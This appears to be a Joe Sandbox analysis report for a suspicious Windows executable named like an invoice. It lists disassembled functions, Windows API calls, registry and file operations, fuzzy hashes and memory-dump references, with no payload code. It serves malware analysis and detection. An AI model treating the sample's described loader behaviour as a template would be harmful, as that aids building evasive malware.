Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97748a737734167d5846b9d8dd4738ada3f75d0b833fdafa89234df63502b4a5
Instruction ID: d49815ad38d406b3cd0a1a90ea7be1526168d9e39684835ffa6a026ef1ef4849
Opcode Fuzzy Hash: 97748a737734167d5846b9d8dd4738ada3f75d0b833fdafa89234df63502b4a5
Instruction Fuzzy Hash: 91913270D04228DBEF28CF98C8547ADBBB1FF44305F14816AD856BB281D778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 004070AB Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93c083d05bcdf6195ca23c2a54f1652f9efbc2f2339d63ff2f761c89645e7c92
Instruction ID: 0a676f48c9952aad729ccf503b6a86ce95496029d8c73069f89f3073be052f6e
Opcode Fuzzy Hash: 93c083d05bcdf6195ca23c2a54f1652f9efbc2f2339d63ff2f761c89645e7c92
Instruction Fuzzy Hash: C3813471D08228DFDF24CFA8C8847ADBBB1FB44305F24816AD456BB281D778A986DF05

Uniqueness

Uniqueness Score: -1.00%

Function 00406FFE Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ccf24f4e081119859c9f0e48baaaa1d38e3934f3a3b1d8a87677b84cb71901f
Instruction ID: 4a3513360c1d1cc4287bdabe5afcaa460628bed3c0d7ae87261646ca99be8a9f
Opcode Fuzzy Hash: 7ccf24f4e081119859c9f0e48baaaa1d38e3934f3a3b1d8a87677b84cb71901f
Instruction Fuzzy Hash: 0D711271D04228DBEF28CF98C9947ADBBF1FB44305F14806AD856B7280D738A986DF05

Uniqueness

Uniqueness Score: -1.00%

Function 0040711C Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c68610f165bc536a6a66ce61bc987e677a2aaa57ebbfa987bd426c3fc0f92c56
Instruction ID: aecab3f40db1f9fc07a3dc9ea3777efa7aa3d7dc23f88bc09ddd959c6243594a
Opcode Fuzzy Hash: c68610f165bc536a6a66ce61bc987e677a2aaa57ebbfa987bd426c3fc0f92c56
Instruction Fuzzy Hash: 2B711571D04228DBEF28CF98C8547ADBBB1FF44305F14806AD856BB281D778A986DF05

Uniqueness

Uniqueness Score: -1.00%

Function 00407068 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b33066b9a67caffcdb2859c2a3d237c195f810e8b6f417b46283b98aba377de3
Instruction ID: 947ff9f4813c08031b822263453b6bbc7859602ae013fffc9a74d3363ad91bbb
Opcode Fuzzy Hash: b33066b9a67caffcdb2859c2a3d237c195f810e8b6f417b46283b98aba377de3
Instruction Fuzzy Hash: FE713471E04228DBEF28CF98C8547ADBBB1FF44305F15806AD856BB281C778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 004020D8 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402103

Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
Part of subcall function 004056CA: lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
Part of subcall function 004056CA: SetWindowTextW.USER32(00422728,00422728), ref: 00405737
Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

LoadLibraryExW.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00402114
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402191

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 642719f50e8783f5edcee4fc1fc6b1094146a56febc3a31313945ed9f35360c6
Instruction ID: 1e7e134340f86907485d462c64894228b35b3344cd4f3d252167f9901203d809
Opcode Fuzzy Hash: 642719f50e8783f5edcee4fc1fc6b1094146a56febc3a31313945ed9f35360c6
Instruction Fuzzy Hash: C521C231904104FADF11AFA5CF48A9D7A70BF48354F60413BF605B91E0DBBD8A929A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00401B9B Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401C0B
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401C1D

Part of subcall function 004066A5: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
Part of subcall function 004066A5: lstrlenW.KERNEL32(Call,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4

Strings

Call, xrefs: 00401BC2, 00401BC8, 00401BE2

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Global$AllocFreelstrcatlstrlen
String ID: Call
API String ID: 3292104215-1824292864
Opcode ID: 3f020652b54f4aff84369af85c552add0977b8bccae4eada2093d63fb928b3c4
Instruction ID: d74cddccbdd50a14e5bf5e3e63826a63b2a65df0fd836753f00777670cd3b466
Opcode Fuzzy Hash: 3f020652b54f4aff84369af85c552add0977b8bccae4eada2093d63fb928b3c4
Instruction Fuzzy Hash: 5321D872904210DBDB20EFA4DEC4E5E73A4AB047157150A3BF542F72D0D6BD9C518BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040259E Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004025D1
RegEnumValueW.KERNELBASE(00000000,00000000,?,?), ref: 004025E4
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsr68C1.tmp,00000000,00000011,00000002), ref: 004025FD

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: f8ecbf2941afd987342e3d0e374724149387460ae1bcfcffcad33ad506850584
Instruction ID: fdd171a53236be04b49e80cc8c25aaf428e2db1c32e81cf7e645575326a8d696
Opcode Fuzzy Hash: f8ecbf2941afd987342e3d0e374724149387460ae1bcfcffcad33ad506850584
Instruction Fuzzy Hash: 35017CB1A04105ABEB159F94DE58AAEB66CEF40348F10403AF501B61D0EBB85E45966D

Uniqueness

Uniqueness Score: -1.00%

Function 033CE374 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

EnumWindows.USER32 ref: 033CE377

Strings

,WA, xrefs: 033CE479

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID: EnumWindows
String ID: ,WA
API String ID: 1129996299-3995665511
Opcode ID: 053255f0719c3f5e096c9d970e1e0be9d514afbc191f922b6077f3e30a1c2705
Instruction ID: b8548f7a50fde76ee49b0f2ed336a35703963afe111eee30cfa8c6d9c19642f2
Opcode Fuzzy Hash: 053255f0719c3f5e096c9d970e1e0be9d514afbc191f922b6077f3e30a1c2705
Instruction Fuzzy Hash: CE2146B6828BC98BE721DB758CC86D5BF91EF65211F040D9DD4D58B911D631A88BC702

Uniqueness

Uniqueness Score: -1.00%

Function 004061DB Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000000,00000000,00000000,00000000,<?xml version="1.0" encoding="UTF-8"?><svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg"> <path d="m 4 1 c -1.660156 0 -3 1.339844 -3 3 v 8 c 0 1.660156 1.339844 3 3 3 h 8 c 1.660156 0 3 -1.339844 3 -3 v -8 c 0 -1.66015,0040CEF0,004035F5,?,?,004034F9,<?xml version="1.0" encoding="UTF-8"?><svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg"> <path d="m 4 1 c -1.660156 0 -3 1.339844 -3 3 v 8 c 0 1.660156 1.339844 3 3 3 h 8 c 1.660156 0 3 -1.339844 3 -3 v -8 c 0 -1.66015,00004000,?,00000000,004033A3), ref: 004061EF

Strings

<?xml version="1.0" encoding="UTF-8"?><svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg"> <path d="m 4 1 c -1.660156 0 -3 1.339844 -3 3 v 8 c 0 1.660156 1.339844 3 3 3 h 8 c 1.660156 0 3 -1.339844 3 -3 v -8 c 0 -1.66015, xrefs: 004061DE

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: FileRead
String ID: <?xml version="1.0" encoding="UTF-8"?><svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg"> <path d="m 4 1 c -1.660156 0 -3 1.339844 -3 3 v 8 c 0 1.660156 1.339844 3 3 3 h 8 c 1.660156 0 3 -1.339844 3 -3 v -8 c 0 -1.66015
API String ID: 2738559852-2858670568
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction ID: 689b8facb1381159ac92aeccc4703b7db47ce2620db9a14c340ec3ef8a35c8b1
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: C1E0863250021AABDF10AE518C04AEB375CEB01360F014477F922E2150D230E82187E8

Uniqueness

Uniqueness Score: -1.00%

Function 004064D5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,00422728,?,('B,00406563,('B,00000000,?,?,Call,?), ref: 004064F9

Strings

('B, xrefs: 004064D5

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Open
String ID: ('B
API String ID: 71445658-2332581011
Opcode ID: 759d75b29ffd137612e455953a298f0698f5beae901813cd77d6ec234b014f3e
Instruction ID: 5036765eb4ab6e58186d81024f5778724aa2024cd81e2e1d5ca813995cf5404a
Opcode Fuzzy Hash: 759d75b29ffd137612e455953a298f0698f5beae901813cd77d6ec234b014f3e
Instruction Fuzzy Hash: BAD0123210020DBBDF115F90AD01FAB375DAB08310F018426FE06A4092D775D534A728

Uniqueness

Uniqueness Score: -1.00%

Function 0040252A Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000033), ref: 0040255B
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsr68C1.tmp,00000000,00000011,00000002), ref: 004025FD

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 59416931fe6cbd160ae2d41dedc63c3ae0631c75c017c87326ef4f3f2ddff173
Instruction ID: eaee0c709954dca67eb2d1c59e66f6ca2c08a593dad46a4828cc6951ae7b5872
Opcode Fuzzy Hash: 59416931fe6cbd160ae2d41dedc63c3ae0631c75c017c87326ef4f3f2ddff173
Instruction Fuzzy Hash: 5C116D71900219EBDF14DFA4DE589AE7774FF04345B20443BE401B62D0E7B88A45EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 09e122a9c5ca6d14e20a0c17f6d9bb0c47d9e5f073d0cae9cf8d248ab6fa9320
Instruction ID: af17251ef12b8b272b5eaf8d1bef107274ce64b6e67bb2dd4604cf2723900e86
Opcode Fuzzy Hash: 09e122a9c5ca6d14e20a0c17f6d9bb0c47d9e5f073d0cae9cf8d248ab6fa9320
Instruction Fuzzy Hash: 6F012831724220EBEB295B389D05B6A3698E710714F10857FF855F76F1E678CC029B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00401EDE Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401EFC
EnableWindow.USER32(00000000,00000000), ref: 00401F07

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 153ab9e6739f7f886f4c830da5bbd0037cfdcbd629ab714a5d97d12cd43f86c5
Instruction ID: 74d914ea4967392a65d1c9fdd8f91c6329c2dde8704c14122971abf6b6e16597
Opcode Fuzzy Hash: 153ab9e6739f7f886f4c830da5bbd0037cfdcbd629ab714a5d97d12cd43f86c5
Instruction Fuzzy Hash: 14E0D872908201CFE705EBA4EE485AD73F0EF40315710097FE401F11D0DBB54C00862D

Uniqueness

Uniqueness Score: -1.00%

Function 00406A35 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403750,0000000B), ref: 00406A47
GetProcAddress.KERNEL32(00000000,?), ref: 00406A62

Part of subcall function 004069C5: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069DC
Part of subcall function 004069C5: wsprintfW.USER32 ref: 00406A17
Part of subcall function 004069C5: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406A2B

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 2c5be687f5fa61a336a49914f64a515c5dfea5ee9312c993601bf5eaa599f6ad
Instruction ID: 0464b4a7853edb7079d0776797c383171681067eb8499b99987f1e8ea9f8efb8
Opcode Fuzzy Hash: 2c5be687f5fa61a336a49914f64a515c5dfea5ee9312c993601bf5eaa599f6ad
Instruction Fuzzy Hash: E0E086727042106AD210A6745D08D3773E8ABC6711307883EF557F2040D738DC359A79

Uniqueness

Uniqueness Score: -1.00%

Function 00406158 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe,80000000,00000003), ref: 0040615C
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction ID: 0e1b57c135d9ed337dcee0f1630d7a3ffd6699826ab823f4ff8c6da5104765b0
Opcode Fuzzy Hash: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction Fuzzy Hash: DCD09E71254201AFEF0D8F20DF16F2E7AA2EB94B04F11952CB682940E1DAB15C15AB19

Uniqueness

Uniqueness Score: -1.00%

Function 00406133 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00405D38,?,?,00000000,00405F0E,?,?,?,?), ref: 00406138
SetFileAttributesW.KERNEL32(?,00000000), ref: 0040614C

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: 3e6336b5c460747e2e1e0fbe3c4db8defb42c0044e1a92967a1d29a512d2a4bc
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
